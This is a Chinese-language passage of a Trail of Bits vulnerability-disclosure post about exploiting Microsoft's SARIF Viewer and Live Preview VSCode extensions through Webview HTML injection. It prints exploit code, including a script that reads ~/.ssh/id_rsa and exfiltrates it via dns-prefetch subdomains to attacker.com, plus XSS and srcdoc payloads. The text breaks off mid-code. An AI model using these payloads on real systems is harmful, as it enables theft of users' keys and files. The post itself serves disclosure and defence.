突破配置不当的VSCode扩展:从Webview逃逸到本地文件窃取

本文深入分析了微软VSCode扩展中的三个高危漏洞,包括SARIF查看器和Live Preview扩展的HTML/JavaScript注入、路径遍历漏洞,详细介绍了如何利用DNS绕过CSP限制、使用srcdoc iframe执行代码,以及通过DNS重绑定攻击实现本地文件窃取的技术细节。

突破配置不当的VSCode扩展 - The Trail of Bits Blog

Vasco Franco
2023年2月21日
exploits, vulnerability-disclosure

TL;DR: 这个由两部分组成的博客系列将介绍我如何在VSCode扩展中发现并披露了三个漏洞,以及在VSCode本身中发现的一个漏洞(安全缓解绕过,被分配为CVE-2022-41042,并获得7,500美元的奖金)。我们将识别每个漏洞的根本原因,并创建完整可用的漏洞利用程序来演示攻击者如何入侵您的计算机。我们还将推荐防止类似问题再次发生的方法。

几个月前,我决定评估我们在审计期间经常使用的一些VSCode扩展的安全性。特别地,我查看了两个微软扩展:SARIF查看器(帮助可视化静态分析结果)和Live Preview(直接在VSCode中渲染HTML文件)。

为什么您应该关心VSCode扩展的安全性?正如我们将演示的,VSCode扩展中的漏洞——特别是那些解析可能不受信任输入的扩展——可能导致您的本地计算机被入侵。在我审查的两个扩展中,我都发现了一个高严重性错误,允许攻击者窃取您所有的本地文件。利用其中一个错误,如果您在扩展在后台运行时访问恶意网站,攻击者甚至可以窃取您的SSH密钥。

在这项研究中,我了解了VSCode Webviews——在独立于主扩展的上下文中运行的沙盒化UI面板,类似于普通网站中的iframe——并研究了逃逸它们的方法。在这篇文章中,我们将深入探讨VSCode Webviews是什么,并分析VSCode扩展中的三个漏洞,其中两个导致了任意本地文件泄露。我们还将研究一些有趣的利用技巧:使用DNS泄露文件以绕过限制性内容安全策略(CSP)策略、使用srcdoc iframe执行JavaScript,以及使用DNS重绑定提升我们漏洞利用的影响。

在即将发布的博客文章中,我们将研究VSCode本身的一个错误,即使是在配置良好的扩展中,该错误也允许我们逃逸Webview的沙盒。

VSCode Webviews

在深入探讨漏洞之前,了解VSCode扩展的结构非常重要。VSCode是一个具有访问文件系统和执行任意shell命令权限的Electron应用程序;扩展具有所有相同的权限。这意味着如果攻击者可以在VSCode扩展中执行JavaScript(例如,通过XSS漏洞),他们可以实现系统的完全入侵。

作为针对XSS漏洞的深度防御保护,扩展必须在沙盒化的Webviews中创建UI面板。这些Webviews无法访问NodeJS API,这些API允许主扩展读取文件和运行shell命令。Webviews可以通过几个选项进一步限制:

  • enableScripts:如果设置为false,则阻止Webview执行JavaScript。大多数扩展需要enableScripts: true
  • localResourceRoots:阻止Webviews访问localResourceRoots指定目录之外的文件。默认为当前工作区目录和扩展的文件夹。
  • Content-Security-Policy:通过限制Webview可以加载内容(图像、CSS、脚本等)的来源来减轻XSS漏洞的影响。策略通过Webview HTML源代码的meta标签添加,例如:<meta http-equiv="Content-Security-Policy" content="default-src 'none';">

有时,这些Webview面板需要与主扩展通信以传递一些数据或请求它们无法自行执行的特权操作。这种通信通过使用postMessage() API实现。

下面是一个简单的、带注释的示例,展示了如何创建Webview以及如何在主扩展和Webview之间传递消息。

示例:创建Webview的简单扩展

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// 主扩展代码
const panel = vscode.window.createWebviewPanel(
  'webview',
  'Webview Example',
  vscode.ViewColumn.One,
  {
    enableScripts: true,
    localResourceRoots: [vscode.Uri.file(path.join(context.extensionPath, 'media'))]
  }
);

panel.webview.html = `<!DOCTYPE html>
<html>
<head>
  <meta http-equiv="Content-Security-Policy" content="default-src 'none';">
</head>
<body>
  <h1>Hello Webview!</h1>
</body>
</html>`;

// 处理来自Webview的消息
panel.webview.onDidReceiveMessage(
  message => {
    switch (message.command) {
      case 'alert':
        vscode.window.showInformationMessage(message.text);
        return;
    }
  },
  undefined,
  context.subscriptions
);

// Webview代码
// 发送消息到主扩展
vscode.postMessage({ command: 'alert', text: 'Hello from Webview!' });

如果满足以下条件,Webview内的XSS漏洞不应导致入侵:localResourceRoots正确设置,CSP正确限制可以加载内容的来源,并且没有postMessage处理程序容易受到命令注入等问题的影响。尽管如此,您不应允许在Webview内任意执行不受信任的JavaScript;这些安全功能是作为深度防御保护而设置的。这类似于浏览器不允许渲染器进程执行任意代码,即使它是沙盒化的。

您可以在VSCode的Webviews文档中阅读更多关于Webviews及其安全模型的信息。

现在我们对Webviews有了更好的了解,让我们看看我在研究中发现的三个漏洞,以及我如何能够逃逸Webviews并在微软构建的两个VSCode扩展中泄露本地文件。

漏洞1:微软SARIF查看器中的HTML/JavaScript注入

微软的SARIF查看器是一个VSCode扩展,它解析SARIF文件——一种基于JSON的文件格式,大多数静态分析工具将其结果输出到其中——并在可浏览的列表中显示它们。

由于我在所有审计中使用SARIF查看器扩展来分类静态分析结果,我想知道它在加载不受信任的SARIF文件方面的保护程度如何。这些不受信任的文件可以从不受信任的来源下载,或者更可能的是,运行静态分析工具(如CodeQL或Semgrep)时,使用包含可以操纵结果SARIF文件(例如,发现的描述)的恶意规则的结果。

在检查呈现SARIF数据的代码时,我遇到了一个看起来可疑的代码片段,其中静态分析结果的描述使用ReactMarkdown类呈现,escapeHtml选项设置为false

不安全地呈现从SARIF文件解析的发现描述的代码(来源)

1
2
3
4
5
<ReactMarkdown
  children={item.message.markdown}
  escapeHtml={false}
  // ...
/>

由于HTML未被转义,通过控制结果消息的markdown字段,我们可以在Webview中注入任意HTML和JavaScript。我快速构建了一个概念验证(PoC),使用带有无效源的img的onerror处理程序自动执行JavaScript。

触发SARIF查看器扩展中JavaScript执行的SARIF文件部分

1
2
3
4
5
{
  "message": {
    "markdown": "![x](x onerror=alert(1))"
  }
}

它起作用了!下图显示了漏洞利用的实际效果。

这是简单的部分。现在,我们需要通过获取敏感的本地文件并将其泄露到我们的服务器来武器化这个错误。

获取本地文件

我们的HTML注入位于Webview内部,正如我们所看到的,它仅限于读取其localResourceRoots内的文件。Webview使用以下代码创建:

在SARIF查看器扩展中创建Webview的代码,带有不安全的localResourceRoots选项(来源)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
const panel = vscode.window.createWebviewPanel(
  'sarifResults',
  'SARIF Results',
  vscode.ViewColumn.One,
  {
    enableScripts: true,
    localResourceRoots: [
      vscode.Uri.file('/'),
      vscode.Uri.file('z:')
    ]
  }
);

正如我们所看到的,localResourceRoots配置得非常差。它允许Webview从磁盘上的任何位置读取文件,直到z:驱动器!这意味着我们可以读取任何我们想要的文件——例如,用户的私钥在~/.ssh/id_rsa

在Webview内部,我们无法打开和读取文件,因为我们无法访问NodeJS API。相反,我们向https://file+.vscode-resource.vscode-cdn.net/发出fetch请求,文件内容在响应中发送(如果文件存在且在localResourceRoots路径内)。

1
2
3

  .then(response => response.text())
  .then(data => console.log(data));

泄露文件

现在,我们只需要将文件内容发送到我们的远程服务器。通常,这很容易;我们会向我们控制的服务器发出fetch请求,文件内容在POST主体或GET参数中(例如,fetch('https://our.server.com?q=' + fileContents))。

然而,Webview有一个相当限制性的CSP。特别是,connect-src指令将fetch限制为selfhttps://*.vscode-cdn.net。由于我们不控制任何一个来源,我们无法向我们控制的攻击者服务器发出fetch请求。

SARIF查看器扩展Webview的CSP(来源)

1
<meta http-equiv="Content-Security-Policy" content="default-src 'none'; connect-src 'self' https://*.vscode-cdn.net;">

我们可以通过,您猜对了,DNS来规避这个限制!通过注入带有rel="dns-prefetch"属性的<link>标签,我们可以在子域中泄露文件内容,即使有限制性的CSP connect-src指令。

使用DNS泄露文件以绕过限制性CSP的HTML代码示例

1
<link rel="dns-prefetch" href="//leak.example.com">

要泄露文件,我们只需要将文件编码为十六进制,并在DOM中注入<link>标签,其中href指向我们控制的攻击者服务器,编码的文件内容在子域中。我们只需要确保每个子域最多有64个字符(包括.),并且整个子域少于256个字符。

全部整合

通过结合这些技术,我们可以构建一个泄露用户$HOME/.ssh/id_rsa文件的漏洞利用程序。以下是带注释的漏洞利用程序:

当用户在SARIF查看器扩展中打开受损的SARIF文件时窃取用户私钥的漏洞利用程序

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
// 将文件内容编码为十六进制
const fileContents = await fetch('https://file+.vscode-resource.vscode-cdn.net/~/.ssh/id_rsa')
  .then(response => response.text());
const hexContents = Array.from(fileContents).map(c => c.charCodeAt(0).toString(16)).join('');

// 将十六进制内容分割成子域
const chunks = hexContents.match(/.{1,60}/g);
chunks.forEach(chunk => {
  const link = document.createElement('link');
  link.rel = 'dns-prefetch';
  link.href = `//${chunk}.attacker.com`;
  document.head.appendChild(link);
});

这一切都是可能的,因为扩展使用了ReactMarkdown组件,其中escapeHtml = {false}选项,允许部分控制SARIF文件的攻击者在Webview中注入JavaScript。由于非常宽松的localResourceRoots,攻击者可以从用户的文件系统中获取任何文件。如果使用更严格的localResourceRoots,这个漏洞是否仍然可利用?请等待第二篇博客文章!;)

为了自动检测这些问题,我们在PR #2307中改进了Semgrep的现有ReactMarkdown规则。使用semgrep --config "p/react"针对React代码库尝试它。

漏洞2:微软Live Preview扩展中的HTML/JavaScript注入

微软的Live Preview是一个拥有超过100万安装量的VSCode扩展,允许您直接在VSCode中的嵌入式浏览器中预览当前工作区的HTML文件。我想了解是否可以使用该扩展安全地预览恶意HTML文件。

该扩展首先在端口3000上创建一个本地HTTP服务器,托管当前工作区目录及其所有文件。然后,为了渲染文件,它在Webview面板内创建一个指向本地HTTP服务器的iframe(例如,iframe src="http://localhost:3000/file.html")。(沙盒中的沙盒!)这种架构允许文件执行JavaScript而不影响主Webview。

内部预览iframe和外部Webview使用postMessage API进行通信。如果我们想在Webview中注入HTML/JavaScript,其postMessage处理程序是一个很好的起点!

寻找HTML/JavaScript注入

我们不必费力寻找!link-hover-start处理程序容易受到HTML注入,因为它直接将来自iframe消息(我们控制其内容)的输入传递到Webview元素的innerHTML属性,而没有任何清理。这允许攻击者控制Webview HTML的一部分。

将Webview元素的innerHTML设置为源自正在预览的HTML文件的消息内容的代码。(来源)

1
2
3
case 'link-hover-start':
  document.getElementById('link-hover').innerHTML = data.content;
  break;

使用srcdoc iframe实现JavaScript执行

innerHTML设置为<script> console.log('HELLO'); </script>的简单方法不起作用,因为脚本被添加到DOM但不会加载。幸运的是,我们可以使用一个巧妙的技巧来规避这个限制:将脚本写在srcdoc iframe中,如下图所示。

使用srcdoc iframe在设置为DOM元素的innerHTML时触发JavaScript执行的PoC

1
2
3
document.getElementById('link-hover').innerHTML = `
  <iframe srcdoc="<script>console.log('HELLO')</script>"></iframe>
`;

浏览器认为srcdoc iframe与其父窗口具有相同的来源。因此,即使我们刚刚逃逸了一个iframe并注入了另一个,这个srcdoc iframe将有权访问Webview的DOM、全局变量和函数。

缺点是iframe现在受与Webview相同的CSP规则约束。

1
2
3
4
5
6
default-src 'none';
connect-src ws://127.0.0.1:3001/ 'self';
font-src 'self' https://*.vscode-cdn.net;
style-src 'self' https://*.vscode-cdn.net;
script-src 'nonce-';
frame-src http://127.0.0.1:3000;

Live Preview扩展Webview的CSP(来源)

与第一个漏洞相比,这个CSP的script-src指令不包括unsafe-inline,而是使用基于nonce的script-src。这意味着我们需要知道nonce才能注入我们的任意JavaScript。我们有几种方法可以实现这一点:暴力破解nonce,由于随机性差而恢复nonce,或泄露nonce。

nonce使用以下代码生成:

生成Live Preview扩展Webview CSP中使用的nonce的代码(来源)

1
const nonce = Math.random().toString(36).substring(2, 15) + Math.random().toString(36).substring(2, 15);

暴力破解nonce

虽然我们可以随意尝试尽可能多的nonce而不会产生后果,但nonce的长度为64,字母表为62个字符,所以宇宙会在我们找到正确的nonce之前结束。

由于随机性差而恢复nonce

敏锐的读者可能已经注意到,nonce生成函数使用Math.random,这是一个密码学上不安全的随机数生成器。Math.random在幕后使用xorshift128+算法,并且给定X个随机数,我们可以恢复算法的内部状态并预测过去和未来的随机数。例如,参见关于V8的Math.random实际利用的会议演讲,以及状态恢复的实现。

我的想法是在我们的内部iframe中重复调用Math.Random,并恢复用于生成nonce的状态。然而,内部iframe、外部Webview和创建随机nonce的主扩展具有不同的内部算法状态实例;我们无法通过这种方式恢复nonce。

泄露nonce

最后的选择是泄露nonce。我搜索了Webview代码中向内部iframe(我们控制的那个)发送数据的postMessage处理程序,希望我们能以某种方式潜入nonce。

我们最好的选择是findNext函数,它将find-input元素的值发送到我们的iframe。

显示Webview将find-input值内容发送到预览页面的代码(来源)

1
2
3
4
5
6
case 'findNext':
  webview.postMessage({
    type: 'findNext',
    value: document.getElementById('find-input').value
  });
  break;

我的目标是以某种方式让Webview将nonce附加到我们将使用HTML注入注入的“假”find-input元素上。我梦想注入一个不完整的元素,如<input id="find-input" value=":这将创建一个带有find-input ID的“假”元素,并打开其value属性而不关闭它。然而,这注定会失败,原因有多种。首先,我们无法从我们设置innerHTML的元素中逃逸,并且由于我们完整地编写它,它永远不可能包含nonce。其次,DOM解析器不会解析上面示例中的HTML;我们的元素只是留空。最后,document.getElementById('find-input')总是找到已存在的元素,而不是我们注入的元素。

在这一点上,我陷入了死胡同;CSP有效地阻止了完整的漏洞利用。但我想要更多!在下一个漏洞中,我们将看看我用来完全利用Live Preview扩展而无需在Webview中注入任何JavaScript的另一个错误。

漏洞3:微软Live Preview扩展中本地HTTP服务器的路径遍历

既然我们无法绕过CSP,我认为另一个有趣的研究点是服务于要预览的HTML文件的本地HTTP服务器。我们能否从中获取任意文件,或者只能获取当前工作区中的文件?

HTTP服务器将服务于当前工作区中的任何文件,允许HTML文件加载同一工作区中的JavaScript文件或图像。因此,如果您在当前工作区中有敏感文件并在同一工作区中预览恶意HTML文件,恶意文件可以轻松获取并泄露敏感文件。但这是设计使然,并且用户的工作区不太可能同时包含恶意和敏感文件。我们能否更进一步并从文件系统中的其他位置泄露文件?

以下是处理每个HTTP请求的代码的简化版本。

服务Live Preview扩展本地HTTP服务器的代码(来源)

1
2
3
4
5
6
7
const http = require('http');
const path = require('path');
const fs = require('fs');

const server = http.createServer((req, res) => {
  const basePath = process.cwd();
  const urlPath = req.url
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计